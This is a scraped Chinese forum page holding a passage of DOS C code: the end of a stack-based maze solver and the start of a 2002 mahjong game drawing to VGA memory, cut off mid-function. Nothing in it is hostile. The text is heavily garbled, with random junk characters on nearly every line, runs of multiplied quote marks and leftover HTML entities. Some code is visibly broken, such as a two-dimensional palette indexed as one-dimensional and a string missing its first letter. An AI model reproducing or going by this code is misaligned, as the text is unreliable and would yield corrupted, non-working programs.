6 V" N6 u- Y' h1 G% ^/* Mark the position seat. */
* J! V2 R* s+ u1 j6 F4 v{8 z- v! Q# w9 s4 t
maze[seat.x][seat.y].mark=-1;
8 U+ S( a/ a% |% f0 y/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */+ R$ h% Y+ e9 E. Z2 [
} /* MarkPrint */$ q. e% T+ t* l6 b
void FootPrint(PosType curpos)
% D# u, X# p; }1 w/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
7 M2 Q2 d5 V- t& e9 _" L0 s& |2 R{9 G. g4 M* V1 B0 t
maze[curpos.x][curpos.y].foot=1;
/ t* `% |, R: d/ A: K} /* FootPrint */
& Y5 [3 ]/ d$ v, [PosType NextPos(PosType seat,int di)
+ [$ A4 Q, ^' f{
& b2 p9 a: O& nswitch(di)# s; C6 ?3 f1 }; t7 f; ?- {  R- N) G
{& O. j. w+ K$ l7 B; I* p6 D, M0 w2 z
case 1: seat.y++; return seat; /* Eastward */+ W- e7 {( y) x' G' }
case 2: seat.x++; return seat; /* Southward */, v' b5 @0 @6 T8 ?! {
case 3: seat.y--; return seat; /* Westward */8 Z  L5 l8 q' ]3 {
case 4: seat.x--; return seat; /* Northward */: g- @/ I' T( H# o  J
default: seat.x=0; seat.y=0; return seat;1 g1 R6 ?) M5 S5 V+ R  f
}2 @! A) D2 b& m* J, t9 C' I
} /* NextPos */
4 `: Z: a  I6 q. E: J4 K0 Z, T0 j, w; l, e
/* The key to the program. */
2 R4 U5 E- Q, h9 i% S, F; u/* Pre: The maze array &amp; the startplace &amp; the endplace.
, K+ V4 ~; w2 Q7 ePost: Find the one traverse of the maze and perform the mazepath.
. B7 d  B4 g2 A+ ~# M! s2 IUses: The ADT stack class.- [6 p$ T3 m* ^& {
*/
/ D$ v; m' A' D% _9 q( _$ DStatus MazePath(PosType start,PosType end)
! d. h5 I1 G. ?: I{
# y  W! ^* I  @6 f$ SPosType curpos;* C8 @$ U* F5 j/ H2 E
int curstep;) I5 K/ g2 X/ K/ M% D" o
SElemType e;5 W! I" E+ I5 Q; q3 u( a
Stack *s,stack;$ J2 m/ I9 d' z
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));% i# P8 I' E8 G
if(!stack.base) Error("Overflow");' D! [% H% a/ ]' z+ Z/ N; i
stack.top=stack.base;
+ z2 V- O5 G. bstack.stacksize=STACK_INIT_SIZE;$ u& Z" Q' N/ t/ W3 ^7 }+ p& _
s=&amp;stack;$ q+ J) z. y. U# W! R
curpos=start;- \: i6 o+ I% V  K3 ~2 V9 j) Q
curstep=1;
; ?, x8 U+ G9 V, _* Ydo
% `; H% N) E- q* F4 t{
" h# Q" t5 H* ]$ uif(Pass(curpos))( d. x& c; s% G& @
{
8 K3 C# u, k; a4 g* wFootPrint(curpos);9 c! d+ P: i# f, A& ^5 M5 b+ j3 z1 J3 J% l7 y
e.ord=curstep; e.seat=curpos; e.di=1;
/ `) J2 y" X( S% @7 ggotoxy((curpos.y+1)*2,curpos.x+2);
* f0 k2 X# S- s% Aputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');  E% m! W; n8 l5 c
delay(8000); /* pospone time. */
" D0 V1 j& x' z5 g4 j4 I/ ]2 iPush(s,e);) S6 [0 @9 j2 Z) h
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
+ U4 ~, v3 K' o$ P: g/ D! v{% z1 j& s) _* X5 a6 {" [
DestroyStack(s);
. h! A- w" l: [  Xreturn TRUE;# ?. {# Y: F/ ^+ n/ M3 B
}
  Z7 [) M0 w7 I( W- W& f* Ucurpos=NextPos(curpos,1); /* Try next position. */! [" H. q- L( c  S4 O
curstep++;
4 ]% I' H; w2 ^/ l}+ g5 [8 p6 ]( |' x& o
else
4 \+ ^- x5 t1 G& e6 g{, w" A. T+ A! o, F( ]3 M) Q7 A
if(!StackEmpty(s))/ F4 O8 D5 j7 a: J3 }
{0 E. w; a" `* _0 ?, A  ]) I
e=Pop(s,e); /* Removed e from s. */
/ I  E0 ^: F+ H, [9 M( Dwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
1 f0 ~0 q# Q* b+ O- h/ q6 Eand s is not empty. */3 s. E  Z8 t+ x% R0 c. V
{- N+ }/ p1 k1 B, `+ d' s
MarkPrint(e.seat);
# C- I  M6 t- b7 n8 j8 d4 @0 q% sgotoxy((e.seat.y+1)*2,e.seat.x+2);" i1 @/ ^- z' L6 c% r( R# J" T( T
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');( D# l# V1 D, ^- M, ~6 t( s
delay(8000); /* Pospone time. */
3 _$ m6 X  W/ O; a# U6 Ygotoxy((e.seat.y+1)*2,e.seat.x+2);0 J9 T9 q; G# b/ v* v
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
3 O+ m( {* w! E/ Ue=Pop(s,e); /* Remove e from s. */. v+ `/ r' I$ v9 m0 C: Y
curstep--;
9 s+ G/ e, U, d}
  B& \. d/ c9 e1 tif(e.di&lt;4) /* The current position hasnot been checked. */  U& T  Q* I5 C8 `" b
{& w" w1 R6 m8 O9 e& E  r
e.di++;
6 Q' ~$ N3 l% J- ~3 b* nPush(s,e); /* Insert e into s. */7 n+ e( F0 Q. J% o$ _. N
curpos=NextPos(e.seat,e.di); /* Try next position. */! c( o6 q6 p8 D7 b- o
}
/ h. }5 l. g+ J2 {8 f. v; K}
' l/ D" n. D4 n. Z! p5 o: j}4 v$ ~# ]$ o/ |3 ?
}
' ?3 @7 G- A# _+ G+ i1 Z2 o2 Mwhile(!StackEmpty(s));' H4 k7 @- m; m9 K: E
DestroyStack(s);! u9 q4 O  Y" Z6 R7 i) |+ W
return FALSE;1 A, L- O, y0 v/ _8 p
} /* MazePath */; Z5 L$ V) m1 h; }8 }) u* {
void main()
& x& k' ?1 u8 s% s5 J{9 @4 J* `9 N; Q! Z; e# W' S
PosType start,end;
* E# }- v! m  p6 S3 {- D& S# LCreatMaze();6 P( R0 U( K+ v  Z5 H4 {0 ?
start.x=StartPlace.y;6 `7 j( J& m( P
start.y=StartPlace.x;: g( Y: N6 g+ `) s  t3 U
end.x=EndPlace.y;
" v- p. ]0 m6 ~2 i' bend.y=EndPlace.x;4 ^! l+ B6 y! {8 }0 E# G9 @3 ?
if(MazePath(start,end))* v+ y4 w3 M0 R  b5 O2 G/ C$ z
{9 F9 I$ g' I+ }" Y
gotoxy(2,22);8 G) i, B- z, g8 `
printf("ath found\n");
7 i- @; M# O3 P) X# m}
3 o3 D1 v0 O8 S/ w) G  Uelse) K3 X/ E# V9 ?: v/ L' P
{
3 t' ?7 E, w& p6 u9 Ugotoxy(2,22);" b# G- z# d/ K9 _+ \
printf("ath not found\n");
  c# b5 V4 v, h$ M4 s  B5 ~}
" l+ ~7 W; ]2 }# a( r* b. Mgetch();
' u( f5 N% ?+ E6 C. Z+ U/ _clrscr();
" K  i  E  Q" q- T; E; d} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
% D0 i; i! G- I1 `/*天宇软件6 T; s5 k/ t6 l
作者:上海黑暗之龙; l9 H9 b8 J6 b( J: K. K
2002/10/30
! s1 @% Z8 A! b& v麻将原代码*/# R* L3 q" i9 w1 }% y# \1 q: g
#include "dos.h"
) F. d$ @# Z$ d" ]8 o! p9 ?5 w& m#include "stdio.h"0 W+ O- o* v6 ?4 f
#include "graphics.h"
# e) ^" w" n0 b* F. @7 l' T#include "bios.h": ?1 l/ m, d2 m7 k
#include "conio.h"( n2 I0 G% [- `( X/ X- ]6 l1 Z
#include "stdlib.h"$ \' v/ s4 O! l- g
unsigned char far *video_buffer=(char far *)0xA0000000L;
1 p- |0 W3 k/ M+ {#define VGA256 0x13 /*图形模式13h*/
. x* j3 Y" c6 m/ C# G6 E" V. K! n6 x6 v7 {#define TEXT_MODE 0x03 /*普通文本模式*/4 ]$ V8 R+ |: B" H5 D' k
#define SETVGA Set_Video_Mode(VGA256)
, r. d0 ^9 Z2 Z, t#define OUTVGA Set_Video_Mode(TEXT_MODE)# k8 F$ [/ {" \7 s. K6 }
#define BYTE unsigned char! b: ^: r2 ^( m& S0 W9 V
#define WORD unsigned int
& m7 u) W) C% l2 x1 t" X2 z#define DWORD unsigned int
: w4 H! V  U. O5 M+ n  h#define ESC 283
% g/ z4 e8 _1 X' n% u( a+ n  h#define LEFT 192008 G& d% e* ~9 q  c; K* V
#define RIGHT 19712; n; r. M1 T, c
#define H 9064/ L1 h0 q# z' Z' F& ^. q4 p& T
#define ENTER 7181
) h# n  R- e& b$ Nunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;+ S" i6 z% ?, \' E- ~# b
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
2 v! u1 |9 i( W- ?3 vstruct chi3 O1 u0 \4 I+ ]; c7 m) u5 I
{& W4 C5 V8 R3 g7 p6 G
int lg;& ~( y9 Q9 |' |, {
int lgg;) Q5 X  G* F" P7 [, T  \
}ch[13];( G. h6 ?& P4 A9 O; z3 z9 o
struct mj
2 a4 {! j6 L  P/ z6 u+ m+ I{ char *name; /*名字*/
  |' k- K9 r! C- wint data1; /*是否已出,无用了*/; J- y6 {, M$ O6 w5 r" F
int data2; /*是否在手中,1为自己,2为对方*/7 u4 s2 M# M" k9 b' c) D
int number; /*同一个花色的第几张,共4张*// b6 L7 M% x1 o
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,9 k( d2 n2 F& O8 I
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,* L9 L  u6 |  g$ Q
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
- V0 i  a$ p5 O1 M1 p"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,) h6 |4 }  B! f9 c6 B
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
# \/ m* ]5 t5 r7 v2 L  u- R6 x( |"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
; R9 z' o9 i4 s' b9 S3 _3 v"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
  N9 U! Q1 E: a; ?. T"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
8 y6 G, P3 J$ P9 J6 f2 O! T"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
: T* e4 v  H9 e, Z"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,3 ^; r4 w# N% _4 i. a
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,, g# y5 C( M' }4 c7 {' O
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,) Z8 I- H" Y3 t4 n
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
7 L$ h4 k4 m+ T; t"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
. r% G: _# J( ~" \3 B) x3 ]"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
, j/ B1 \8 {! l6 J8 A5 X. v"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,, t# g, Q0 }8 M: s' E
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
. c, m4 g0 Q0 V6 f# T) G"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
" H9 [0 u; {6 g( q"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
/ H8 @# R( d9 @$ [; k; A4 E"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
0 Z* o4 h8 A4 [! @7 M"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
! r% T  m% _6 T/ e2 w: v; V9 _* v" k"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,( i: E3 H( U' G( @2 M3 L5 r
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
) ~8 @8 i0 x- |% D( y0 N"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
5 U3 O+ h. [6 m4 {+ V3 v" D"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,3 \, o, X- u2 l, ]( x8 b7 c% c
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,' ^) r" K( A, z3 N( @) q
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
8 {- V7 \( U# N"34.bmp"};. K, W0 u# _. Q2 d4 R7 [
struct every+ p( ?& m  c8 ^7 n) F
{ int *k; /*名字*/8 P9 T) |0 a* B6 O: r
int oneorfour; /*同一张牌的第几张*/: h1 o) G$ C5 ?; u: N
int number; /*第几张牌136*/
% E+ L) `+ K( y3 e2 fint p;' M$ H6 V8 d! r* v  S1 X6 X' b2 l
int g;
% |2 X$ g* w8 e" [0 h6 @int c;
. n4 G  |" m; Q& @& ?4 M; iint d[2];) {4 ^: O7 O( w
};  H. N# v$ P! K# {: i
struct me0 F/ _  f. r& D0 ]' [3 E' [
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
9 N( ?4 j* n4 ~/ Bint p; /*乓对方*/
$ H7 e* v4 G1 yint c; /*吃对方*/; f3 t, Y/ u; V7 p: s+ T3 h
int g; /*杠*/0 E0 L7 I4 f7 h5 ]- Q
3 c+ l& Q% T4 Y, t7 X, J
struct every pp[14]; /*存放手上的牌*/. w/ R) u9 \$ W1 N4 U/ B) t( V
}me;% s- u' p7 M  w. M3 K7 V
struct computer
" P' ~7 {$ Y3 j1 d8 |7 k0 G{ int m;
9 d& G6 g6 u: t# M- Gint p;9 e% s! Q5 J& _. }/ I9 j' ~
int c;9 _! p9 {. c2 i/ L
int g;( \0 m  ?# A1 \
struct every pp[14];  z2 L0 T5 t5 Z
}computer,comp;
9 t( k0 w1 v6 n# l7 c  j3 u4 Y
, w" A3 O/ s4 I2 a2 q4 |/* 设置调色板 */
  }- B3 b" q) }& `0 z+ a" @; Rvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)* W5 d4 o  R5 p6 I+ E
{. u+ }) d! Y/ {. @" f
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
: d4 x3 c3 h9 e( k/ Joutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/! ^: m; `9 c/ L$ R5 B
outportb(0x3c9,g);
3 t+ J, |6 B( z: I. X" U- t" routportb(0x3c9,b);
& o! {; I  s% K% Z}$ i, n. v4 T3 ^, F9 D' m: I5 I; Y. C
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/2 K- N- y4 U! L% R* ~+ ^* d
/* 设置显示模式的函数 */( P8 [  R) h) E. r( @! E
void Set_Video_Mode(int mode)+ C/ q- v/ B+ }8 Q: m+ t
{
" P$ D/ w. b5 ^& Y4 c" hunion REGS inregs,outregs; /*定义输入和返回寄存器*/
( I) h6 S/ ^1 |( m. Z- hinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*// j5 F) ~- a# _  S  d4 u' Y  T
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/, Z) \/ r/ p, n  n. [% Y* f
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
+ U( ^. j. f! B}
( W3 y5 V& Z3 y. b4 ?* Wvoid v_line(int y0,int y1,int x,unsigned int color)/ x* Y! _- g2 c% M' E  Z4 d4 S
{ unsigned int address,n,temp;
; S. I4 h0 F/ u" G% A3 mif(y0&gt;y1)4 I. f: w( M2 n: g1 y2 g9 e/ k1 a
{$ X3 ?! T# b& Z  d3 {
temp=y1;* r1 V* Z( D$ \# Z# p
y1=y0;
3 g( m$ y5 {1 L; f$ h0 ]y0=temp;
1 r, p) e0 S% ?" b% W' F# I' `}+ ~2 S: ?7 M4 Z) g* `, v
address=320*y0+x;
2 o; a) R  O6 M9 U- ifor(n=0;n&lt;=y1-y0;n++)7 ?1 }) r" {6 q2 y7 I
{
% `" `: E9 Q/ N0 W2 ~# Cvideo_buffer[address]=color;
0 [/ a9 g% n6 U( haddress+=320;4 T! W% j2 j4 Y
}9 @& l  w2 n) K6 F* x* @7 O
}
) \1 U" I/ o$ Xvoid h_line(int x0,int x1,int y,unsigned int color)
" ]/ x- u- r( H: a! H' o6 \{ unsigned int address,n,temp;6 D$ a1 r) K8 Z% G, L
if(x0&gt;x1)
8 a$ k$ h. n( i3 {{
& r  ?, h4 i7 X4 R7 ?' s0 ctemp=x1;* K' q6 r' o# U, z  {! ^: j  Z5 S
x1=x0;
+ A- ]- }5 P$ Yx0=temp;
9 R% n2 p: o2 t, r# D}2 w1 P& q# Y% Z) s8 k( u
address=320*y+x0;( C& Y4 N5 o6 m# D- e) y' t: ]
for(n=0;n&lt;=x1-x0;n++)
" r' m, W% I4 ^# O{
' c2 D2 x, w5 }9 z0 g# y6 {video_buffer[address]=color;  ?8 _# N5 j1 X! P2 t, S
address+=1;4 U& a( e8 ]8 X- N; L4 _- V. }
}
7 y7 f1 j. R$ b! {% T: v}3 t- ]! u" s5 H  @5 p
void p_pixel(int x,int y,unsigned int color)
# a0 |  Q0 T3 m3 Q1 M9 D{ video_buffer[y*320+x]=color;
. n  O+ O4 w: ~6 z}3 G$ h9 D. t/ G; E( o
void s_square(int x,int y,int side,int color)' I; u9 G# l- V
{/ h" d$ Z" l$ A& h
h_line(x,x+side,y,color);4 V5 Q- r& u1 s, m7 j
h_line(x,x+side,y+side,color);# i% H' a5 O+ s/ \! _! t  y# P2 h
v_line(y,y+side,x,color);: o% g) S5 g- |5 i+ W
v_line(y,y+side,x+side,color);2 H/ C7 ?9 ~1 n. c! |1 Q
}
5 [( O( X$ K6 ]! I7 yvoid r_rectangle(int x1,int y1,int x2,int y2,int color)2 t- m) Z6 T1 ], L, r/ l. c
{2 F7 X" W  d+ I7 Y
h_line(x1,x2,y1,color);$ }- b, ^7 N, j7 ]
h_line(x1,x2,y2,color);
6 s! P, m1 q/ S' v" h* Uv_line(y1,y2,x1,color);. g/ y) S2 j2 x) \- m# {
v_line(y1,y2,x2,color);8 T4 ^6 ?$ w# R) J8 Z0 x
}
" G0 n! F+ W4 z+ o. N7 [) K6 Wvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
& s7 U1 ]6 m2 z: q% b4 V{
8 Y; R: ^- L2 ~/ w. g% \8 Uint i;
+ U; }( Z& h% F5 y2 L' Ffor(i=y1;i&lt;=y2;i++)% R. P" y, @- z! z% I2 q7 d
{# `4 J6 A/ ]' l! F
h_line(x1,x2,i,color);' q, b3 f" d2 R; A' `
}
. t' e* M9 F2 Q7 u2 K8 g# [+ e: h}8 s  x4 C6 ]+ B7 s- t
void showbmp(int l)) F. Z, O! u& u5 x
{ FILE *bmp;) B1 n8 M4 {. Q( U3 _
int i,x,y;
$ T9 b' q2 \- S" G5 x1 mBYTE palette[256][3];; `* |. m1 M4 @0 H+ e3 l, T  c3 i
bmp=fopen(me.pp[l].k,"rb");/ e# _2 x& K7 T; b4 ?3 a
fseek(bmp,54,SEEK_SET);
) a+ m" G% U0 o: A( T: t0 A7 `for(i=0;i&lt;256;i++)
. A# t/ H$ Z2 w: a: u{1 \' L! G* g  y6 ?) m: Q* s
palette[2]=fgetc(bmp)&gt;&gt;2;( q. v( I! y  o2 ~9 V
palette[1]=fgetc(bmp)&gt;&gt;2;3 `; h9 `- N9 B  W1 L" o
palette[0]=fgetc(bmp)&gt;&gt;2;1 c' j3 P+ p& R2 N# U, {2 V
fgetc(bmp);7 R7 i2 p/ `: R3 V8 e
Set_Palette(i,palette[0],palette[1],palette[2]);0 {7 ?, H% F/ X9 L
}1 g2 q0 _0 Z. a& w
for (y=0;y&lt;30;y++)
, ?& Z/ M+ K$ }- m  kfor(x=0;x&lt;20;x++)
$ Q* x3 w# @( `) `; }( x' w4 z8 @pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));+ o/ L( y2 q- S2 N$ g' C  G6 y
fclose(bmp);5 A9 ?+ R3 s+ ?* M4 b6 ~
}
# u+ O2 I: t2 \2 o% \void showbmpd(int l)6 U' j( l  E+ l( Q7 Z, M
{ FILE *bmp;
! G6 s' z. y) C5 ]int i,x,y;
% ]8 Z3 F  B$ [BYTE palette[256][3];* d1 o- q, N4 S; z1 p$ T2 Y, p* ?) _
bmp=fopen(me.pp[l].k,"rb");
" Z5 u3 t% c' e: d& ~8 ufseek(bmp,54,SEEK_SET);
1 x9 v' [# a" l5 h! p3 W' Nfor(i=0;i&lt;256;i++)
6 b. [9 S+ Z; r{9 w) A1 y9 T# m$ Z( z
palette[2]=fgetc(bmp)&gt;&gt;2;! x# X7 a% }( R- G
palette[1]=fgetc(bmp)&gt;&gt;2;9 l; e: H. @% c
palette[0]=fgetc(bmp)&gt;&gt;2;! Y* u4 X/ M+ b6 R. q% U) i  H
fgetc(bmp);( v# A2 M! t# ]* c
Set_Palette(i,palette[0],palette[1],palette[2]);
' M* W& p+ c9 X7 T/ C}
* `1 V  O! |$ ]& B% P6 P$ cfor (y=0;y&lt;30;y++)! P& ?1 Z) b( {: Y3 X& P( p
for(x=0;x&lt;20;x++)
+ ~1 w) w; `! w- m( K/ T! Dpokeb(0xa000,y*320+x+zyy,fgetc(bmp));, O% |# L3 O  H& ^2 o
fclose(bmp);2 t! q1 Q# d, h6 K, v/ a3 z
}+ R% X1 J) W: L& t
void showybmp(int ll)1 _& d! d+ D6 h6 h/ P$ Z2 _. @
{ FILE *bmp;
1 L. S' h( T1 K5 T4 s3 X$ Yint i,x,y;/ Y, |1 M2 F9 M0 f" U" n. G
BYTE palette[256][3];
7 {. s2 j' n9 g% T- ^6 @bmp=fopen(computer.pp[ll].k,"rb");( {6 u5 r) s3 p
fseek(bmp,54,SEEK_SET);
" L: F1 K, {- b$ jfor(i=0;i&lt;256;i++)
3 ]1 D3 ]; i. Z$ f: C# t{
4 Q& [4 X* N5 x6 ^2 U  r! F! Jpalette[2]=fgetc(bmp)&gt;&gt;2;/ W! r8 c1 @8 y6 a
palette[1]=fgetc(bmp)&gt;&gt;2;
, b, O8 `" I* Tpalette[0]=fgetc(bmp)&gt;&gt;2;3 l  @3 c5 f% D  i4 y7 K
fgetc(bmp);7 F' F# s3 O5 ~; b. [9 u
Set_Palette(i,palette[0],palette[1],palette[2]);' R+ A; E" f; P6 z
}
" K  u9 }% @/ R5 D8 m) ?/ Yfor (y=0;y&lt;30;y++)
! |$ n/ b% Q4 ], ^for(x=0;x&lt;20;x++)
0 \" @/ S- I' h1 x# T& i3 m% T! Apokeb(0xa000,y*320+x+zy,fgetc(bmp));. x! G0 U3 f! @) g8 U& N) U
fclose(bmp);9 d( }) m) s/ v8 t4 N- g: G
}& ^) u3 j/ _+ s0 K% I: p6 n% c' ^
void showcbmp(int ll)* ^, I' d  @& _
{ FILE *bmp;
5 Q2 C) N1 A9 C0 `# u- O! Rint i,x,y;+ D3 T1 J( l: Y* U, b* B. O2 Z
BYTE palette[256][3];
" J' U1 O4 y( o+ Nbmp=fopen(computer.pp[ll].k,"rb");
7 i3 \% i* K; W* {3 \3 b0 nfseek(bmp,54,SEEK_SET);4 M+ O- B' k' i. U
for(i=0;i&lt;256;i++), X& d4 ?. g& w: B" e3 f. y% V
{
- E0 U7 n" _( c- A/ `palette[2]=fgetc(bmp)&gt;&gt;2;
7 K9 I% X% m1 {6 Ipalette[1]=fgetc(bmp)&gt;&gt;2;
# {* t. z4 L- F1 ^3 T% ~$ Ypalette[0]=fgetc(bmp)&gt;&gt;2;
  |$ ]& N5 x) e9 xfgetc(bmp);2 u9 I+ x; N! P9 p6 S
Set_Palette(i,palette[0],palette[1],palette[2]);0 G2 Y" x9 C, }# d! k$ O' S8 k, D
}
- k1 B. x: y2 R: c- Cfor (y=0;y&lt;30;y++), U5 i7 S3 H, {" ^1 }
for(x=0;x&lt;20;x++)% H/ o9 I6 O& p4 V, J  G8 r: Q
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));2 o' q! u3 F: U& k7 X1 J
fclose(bmp);
; k1 I  F5 h/ F4 c( j) {3 }6 |- R& y}
2 d+ N: S, v, i' yvoid bmpp(int number)
6 n- z# z3 Z  p7 |2 J9 J" {{ FILE *bmp;
) G, ]1 n2 R  D3 p8 z3 oint i,x,y;2 Z" d9 f3 F9 o% c6 h- t/ }' ^
BYTE palette[256][3];
6 |+ x% d5 I0 z6 g# @8 ^bmp=fopen(m[number].name,"rb");) \3 a9 Z( @7 X$ ~; _7 S0 P
fseek(bmp,54,SEEK_SET);
+ ^" ?& s% o+ dfor(i=0;i&lt;256;i++)7 F% A# |' _$ V$ n% ^8 \% A4 a
{
4 D1 y0 _& a6 npalette[2]=fgetc(bmp)&gt;&gt;2;
( i; j0 \2 I' W* f2 Qpalette[1]=fgetc(bmp)&gt;&gt;2;
6 ]; t6 G% f3 E1 T. R) C7 Jpalette[0]=fgetc(bmp)&gt;&gt;2;8 v  {% i7 T5 M
fgetc(bmp);  c( Y' T+ h+ A3 B* L* u( i" K
Set_Palette(i,palette[0],palette[1],palette[2]);# B, q) w: g/ c# `
}1 t. O9 z+ T7 G+ X. j
for (y=0;y&lt;30;y++)
' H! u% q+ I$ l! m" Afor(x=0;x&lt;20;x++)
. r/ v: P1 O$ t4 h4 ~; y) t! @$ Opokeb(0xa000,y*320+x+zl,fgetc(bmp));+ K$ M( X2 d0 ^- c- q& V
fclose(bmp);6 {$ Z+ f9 K8 H6 R
}
- o' T5 W" A9 q! N3 d( K( q- Bvoid comlipai() /*整理电脑的牌*/
, Q: m# Q9 a) f5 l( A{ int n,j,u;
; s; a5 M# {  t" {! m! [3 }) R- g9 bint *lingshi;7 E. l. U" _. ?1 l
for(n=0;n&lt;computer.m;n++)" G# }5 |  C" a! ]/ f3 \
for(j=n;j&lt;computer.m;j++)7 j$ T5 Y7 h& m! Y( q/ g
{
! S' @& s2 c& Dif(computer.pp[n].number&gt;computer.pp[j+1].number)
% \6 E( |3 A" n; ]6 f1 T{
  _! ?7 z) {0 _& @lingshi=computer.pp[n].k;! X- e  M' K1 t* F) C
computer.pp[n].k=computer.pp[j+1].k;; \' s' C7 K' w- Z2 {5 u
computer.pp[j+1].k=lingshi;$ n/ R" Z' `- a, H% D9 h; _7 X
u=computer.pp[n].oneorfour;: k5 p+ Y: D" e% \* k' f
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
$ I2 s# C8 h. [' U, g/ A' E0 l- Hcomputer.pp[j+1].oneorfour=u;# O2 |4 J1 [. r: E" d
u=computer.pp[n].number;
- c8 P8 f5 z: O' p& J3 ^3 wcomputer.pp[n].number=computer.pp[j+1].number;
4 z; k9 {9 v8 [& h. |computer.pp[j+1].number=u;! C: o2 `/ o- Z8 ?$ u
}
6 r: @: L/ m- w( K9 X! |else
+ q0 c7 q( x# oif(computer.pp[n].number==computer.pp[j+1].number)
0 L; v$ g  x; }4 A: F& Z; Gif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)6 \$ h* _" b' ?$ V0 K
{0 p+ M. c: R$ m/ h* ?
lingshi=computer.pp[n].k;; m4 {2 U- x7 J3 B) [. C
computer.pp[n].k=computer.pp[j+1].k;
5 q& p  t6 a- t. ]computer.pp[j+1].k=lingshi;: r! l. Q6 p, N+ |# x
u=computer.pp[n].oneorfour;( |, Z$ x# ]4 ]* T8 l
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
1 l+ A. ~; I7 r. h- xcomputer.pp[j+1].oneorfour=u;  l! M) B! [6 v( _! \
u=computer.pp[n].number;
2 K1 A  q4 k7 q' B) Hcomputer.pp[n].number=computer.pp[j+1].number;
4 z3 |' |2 x4 vcomputer.pp[j+1].number=u;( x& M' m7 ]/ C$ d0 [. n
